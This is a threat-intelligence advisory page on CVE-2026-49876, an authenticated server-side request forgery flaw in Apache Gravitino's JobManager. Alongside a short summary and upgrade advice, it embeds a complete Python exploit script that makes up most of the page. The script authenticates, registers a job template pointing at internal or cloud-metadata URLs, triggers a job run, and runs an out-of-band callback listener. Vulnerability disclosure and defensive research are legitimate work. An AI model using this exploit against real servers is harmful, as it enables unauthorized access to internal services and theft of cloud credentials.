CVE-2026-49876: CWE-918 Server-Side Request Forgery (SSRF) in Apache Software Foundation Apache Gravitino
CVE-2026-49876 is an authenticated server-side request forgery (SSRF) vulnerability in Apache Gravitino's JobManager component. It allows an authenticated user to make server-side HTTP requests to internal network and cloud metadata endpoints by exploiting unvalidated job template URIs. The vulnerability affects Apache Gravitino versions from 1.0.0 through 1.2.1. Upgrading to version 1.3.0 addresses the issue.
AI Analysis
Technical Summary
This vulnerability in Apache Gravitino (CVE-2026-49876) involves an authenticated SSRF in the JobManager, where unvalidated job template URIs permit server-side HTTP requests to internal network resources and cloud metadata endpoints. This can potentially expose sensitive internal information or enable further attacks within the internal network. The affected versions are from 1.0.0 up to and including 1.2.1. The issue is fixed in version 1.3.0.
Potential Impact
An authenticated attacker can exploit this SSRF vulnerability to make HTTP requests from the server to internal network services or cloud metadata endpoints, potentially leading to unauthorized information disclosure. The CVSS score of 6.5 (medium severity) reflects the moderate risk due to required authentication and the potential confidentiality impact. There is no indication of integrity or availability impact.
Mitigation Recommendations
Users should upgrade Apache Gravitino to version 1.3.0 or later, which fixes this SSRF vulnerability. No other official remediation or temporary fixes are documented. Patch status is not explicitly confirmed in the vendor advisory, but the recommendation to upgrade to 1.3.0 indicates an official fix is available.
Indicators of Compromise
- exploit-code: # Exploit Title: Apache Gravitino 1.2.1 - SSRF # Google Dork: N/A # Date: 2026-07-13 # Exploit Author: Ajay Rajpurohit # Vendor Homepage: https://gravitino.apache.org/ # Software Link: https://github.com/apache/gravitino # Version: 1.0.0 - 1.2.1 # Tested on: Ubuntu 22.04 LTS # CVE: CVE-2026-49876 # # Description: # A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino # versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in # JobManager.java processes URIs from job template fields (executable, scripts, # jars, files, archives) without validating the destination. It accepts http, # https, and ftp schemes and downloads remote content to the server's staging # directory via FileUtils.copyURLToFile(). # # An authenticated attacker can: # • Register a job template with an internal/metadata URL as the executable # • Trigger a job run, forcing the server to fetch the URL # • Read the downloaded content from the staging directory (if accessible) # • Use OOB callbacks for blind SSRF detection # # References: # CVE Record: https://nvd.nist.gov/vuln/detail/CVE-2026-49876 # Apache Advisory: https://lists.apache.org/thread/gravitino-ssrf-advisory # Fixing Commit: https://github.com/apache/gravitino/commit/<commit-hash> # # --- Reproducibility --- # # Prerequisites: # 1. Apache Gravitino 1.0.0 - 1.2.1 running (default port 8090) # 2. A valid Gravitino user account (any role with job template privileges) # 3. Python 3.8+ with `requests` library (pip3 install requests) # # Setup (if testing locally): # wget https://dlcdn.apache.org/gravitino/1.2.0/gravitino-1.2.0-bin.tar.gz # tar xzf gravitino-1.2.0-bin.tar.gz # cd gravitino-1.2.0-bin # ./bin/gravitino.sh start # # Expected output: # [+] Authenticated as <user> # [+] Template 'ssrf-poc-xxxxxx' registered # [+] Job triggered — SSRF request sent to http://127.0.0.1:8090/configs # [+] SSRF confirmed — server fetched internal resource # # Usage: # # Direct SSRF — fetch internal config # python3 gravitino_ssrf.py -t http://127.0.0.1:8090 -u admin -p admin \ # --url http://127.0.0.1:8090/configs # # # Cloud metadata (AWS IMDSv1) # python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \ # --url http://169.254.169.254/latest/meta-data/ # # # Blind SSRF with OOB callback server # python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \ # --url http://<your-ip>:8888/callback --oob --oob-port 8888 # # Requirements: # pip3 install requests # import argparse import base64 import http.server import json import random import socketserver import string import sys import threading import time from datetime import datetime try: import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) except ImportError: print("[!] Missing dependency. Install: pip3 install requests") sys.exit(1) # ─── OOB Callback Server (blind SSRF) ────────────────────────────────────── class CallbackHandler(http.server.BaseHTTPRequestHandler): """Minimal HTTP handler that logs incoming requests for blind SSRF detection.""" received = [] def log_message(self, fmt, *args): return def _respond(self, method): body = b"" cl = int(self.headers.get("Content-Length", 0)) if cl > 0: body = self.rfile.read(min(cl, 4096)) entry = { "time": datetime.now().isoformat(), "method": method, "path": self.path, "source": f"{self.client_address[0]}:{self.client_address[1]}", "user_agent": self.headers.get("User-Agent", ""), } CallbackHandler.received.append(entry) print(f"\n [+] OOB CALLBACK: {method} {self.path} from {entry['source']}") print(f" User-Agent: {entry['user_agent']}") self.send_response(200) self.end_headers() self.wfile.write(b"OK") do_GET = lambda s: s._respond("GET") do_POST = lambda s: s._respond("POST") do_HEAD = lambda s: s._respond("HEAD") do_PUT = lambda s: s._respond("PUT") do_OPTIONS = lambda s: s._respond("OPTIONS") def start_oob_server(port: int) -> None: """Start a background HTTP server on the given port for OOB callbacks.""" server = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler) server.allow_reuse_address = True t = threading.Thread(target=server.serve_forever, daemon=True) t.start() # ─── Gravitino REST Client ───────────────────────────────────────────────── class Gravitino: """Minimal client for the Gravitino REST API — just enough for the PoC.""" def __init__(self, base_url: str, username: str, password: str, metalake: str = "metalake", verify: bool = False): self.base = base_url.rstrip("/") self.username = username self.password = password self.metalake = metalake self.s = requests.Session() self.s.verify = verify def login(self) -> bool: """Authenticate via OAuth2 token endpoint; fall back to Basic auth.""" # Try OAuth2 try: r = self.s.post( f"{self.base}/oauth2/token", data={ "grant_type": "password", "username": self.username, "password": self.password, "client_id": "gravitino_client", "scope": "all", }, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=15, ) if r.status_code == 200: token = r.json().get("access_token") if token: self.s.headers["Authorization"] = f"Bearer {token}" print(f"[+] Authenticated via OAuth2 token") return True except Exception: pass # Fallback: Basic auth creds = base64.b64encode(f"{self.username}:{self.password}".encode()).decode() self.s.headers["Authorization"] = f"Basic {creds}" try: r = self.s.get(f"{self.base}/api/version", timeout=10) if r.status_code == 200: print(f"[+] Authenticated via Basic auth") return True except Exception: pass print("[!] Authentication failed. Provide valid credentials (-u / -p).") return False def ensure_metalake(self) -> bool: """Create the metalake if it doesn't exist.""" try: r = self.s.get(f"{self.base}/api/metalakes/{self.metalake}", timeout=10) if r.status_code == 200: return True except Exception: pass try: r = self.s.post(f"{self.base}/api/metalakes", json={"name": self.metalake, "comment": "", "properties": {}}, timeout=10) if r.status_code in (200, 201, 409): return True except Exception: pass # Proceed anyway — metalake may already exist under a different name return True def trigger_ssrf(self, ssrf_url: str) -> bool: """Register a job template with the SSRF URL and trigger execution.""" name = "ssrf-poc-" + "".join(random.choices(string.ascii_lowercase, k=6)) print(f"[*] Registering template '{name}' with URL: {ssrf_url}") # Step 1: Register template template = { "name": name, "jobType": "shell", "executable": ssrf_url, "arguments": [], } try: r = self.s.post( f"{self.base}/api/metalakes/{self.metalake}/jobs/templates", json={"jobTemplate": template}, timeout=15, ) if r.status_code not in (200, 201): print(f"[!] Template registration failed: {r.status_code} {r.text[:200]}") return False except requests.RequestException as e: print(f"[!] Registration error: {e}") return False time.sleep(0.5) # Step 2: Trigger job run print(f"[*] Triggering job run...") try: r = self.s.post( f"{self.base}/api/metalakes/{self.metalake}/jobs/runs", json={"jobTemplateName": name}, timeout=15, ) try: body = r.json() if r.text else {} except ValueError: body = {} if r.status_code == 200 and body.get("code") == 0: print(f"[+] Job triggered — SSRF request sent") return True else: # Even on some errors, the SSRF may have fired print(f"[*] Response: {r.status_code} {r.text[:200]}") return r.status_code == 200 except requests.RequestException as e: print(f"[!] Trigger error: {e}") return False # ─── Main ────────────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description="CVE-2026-49876 — Apache Gravitino 1.0.0-1.2.1 Authenticated SSRF", epilog=""" Examples: %(prog)s -t http://127.0.0.1:8090 -u admin -p admin --url http://127.0.0.1:8090/configs %(prog)s -t http://target:8090 -u user -p pass --url http://169.254.169.254/latest/meta-data/ %(prog)s -t http://target:8090 -u user -p pass --url http://10.0.0.5:8080/ --oob --oob-port 8888 """, formatter_class=argparse.RawDescriptionHelpFormatter, ) parser.add_argument("-t", "--target", required=True, help="Gravitino server (e.g. http://127.0.0.1:8090)") parser.add_argument("-u", "--username", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") parser.add_argument("--url", required=True, help="SSRF target URL to fetch (e.g. http://169.254.169.254/latest/meta-data/)") parser.add_argument("--metalake", default="metalake", help="Metalake name (default: metalake)") parser.add_argument("--oob", action="store_true", help="Start OOB callback server for blind SSRF detection") parser.add_argument("--oob-port", type=int, default=8888, help="Port for OOB callback server (default: 8888)") parser.add_argument("--oob-wait", type=int, default=15, help="Seconds to wait for OOB callbacks (default: 15)") parser.add_argument("--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)") args = parser.parse_args() print(f"\n[*] CVE-2026-49876 — Apache Gravitino Authenticated SSRF") print(f"[*] Target: {args.target}") print(f"[*] SSRF URL: {args.url}\n") # Proxy if args.proxy: import os os.environ["HTTP_PROXY"] = args.proxy os.environ["HTTPS_PROXY"] = args.proxy # OOB callback server if args.oob: start_oob_server(args.oob_port) print(f"[*] OOB callback server listening on port {args.oob_port}") # Auth g = Gravitino(args.target, args.username, args.password, args.metalake) if not g.login(): sys.exit(1) # Ensure metalake g.ensure_metalake() # Exploit success = g.trigger_ssrf(args.url) # Wait for OOB callbacks if args.oob: print(f"[*] Waiting {args.oob_wait}s for OOB callbacks...") time.sleep(args.oob_wait) if CallbackHandler.received: print(f"\n[+] Received {len(CallbackHandler.received)} OOB callback(s) — SSRF confirmed") for cb in CallbackHandler.received: print(f" {cb['method']} {cb['path']} from {cb['source']}") else: print(f"\n[-] No OOB callbacks received (server may not allow outbound HTTP)") # Summary print(f"\n{'='*50}") print(f"{'[+] SSRF successful' if success else '[-] SSRF attempt failed'}") print(f"{'='*50}\n") sys.exit(0 if success else 1) if __name__ == "__main__": main()
CVE-2026-49876: CWE-918 Server-Side Request Forgery (SSRF) in Apache Software Foundation Apache Gravitino
Description
CVE-2026-49876 is an authenticated server-side request forgery (SSRF) vulnerability in Apache Gravitino's JobManager component. It allows an authenticated user to make server-side HTTP requests to internal network and cloud metadata endpoints by exploiting unvalidated job template URIs. The vulnerability affects Apache Gravitino versions from 1.0.0 through 1.2.1. Upgrading to version 1.3.0 addresses the issue.
CVSS v3.1
Score 6.5medium
Affected software
pkg:maven/Apache Software Foundation/org.apache.gravitino:gravitino-coreRun on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
This vulnerability in Apache Gravitino (CVE-2026-49876) involves an authenticated SSRF in the JobManager, where unvalidated job template URIs permit server-side HTTP requests to internal network resources and cloud metadata endpoints. This can potentially expose sensitive internal information or enable further attacks within the internal network. The affected versions are from 1.0.0 up to and including 1.2.1. The issue is fixed in version 1.3.0.
Potential Impact
An authenticated attacker can exploit this SSRF vulnerability to make HTTP requests from the server to internal network services or cloud metadata endpoints, potentially leading to unauthorized information disclosure. The CVSS score of 6.5 (medium severity) reflects the moderate risk due to required authentication and the potential confidentiality impact. There is no indication of integrity or availability impact.
Mitigation Recommendations
Users should upgrade Apache Gravitino to version 1.3.0 or later, which fixes this SSRF vulnerability. No other official remediation or temporary fixes are documented. Patch status is not explicitly confirmed in the vendor advisory, but the recommendation to upgrade to 1.3.0 indicates an official fix is available.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- apache
- Date Reserved
- 2026-06-02T12:32:43.972Z
- Cvss Version
- null
- State
- PUBLISHED
- Remediation Level
- null
Indicators of Compromise
Exploit Source Code
Exploit code for Apache Gravitino 1.2.1 - SSRF
# Exploit Title: Apache Gravitino 1.2.1 - SSRF # Google Dork: N/A # Date: 2026-07-13 # Exploit Author: Ajay Rajpurohit # Vendor Homepage: https://gravitino.apache.org/ # Software Link: https://github.com/apache/gravitino # Version: 1.0.0 - 1.2.1 # Tested on: Ubuntu 22.04 LTS # CVE: CVE-2026-49876 # # Description: # A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino # versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in # JobManager.java processes URIs... (11732 more characters)
Threat ID: 6a54b7e268715ace439f78f1
Added to database: 07/13/2026, 10:03:14 UTC
Last enriched: 08/11/2026, 21:08:20 UTC
Last updated: 08/27/2026, 16:50:48 UTC
Views: 64
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.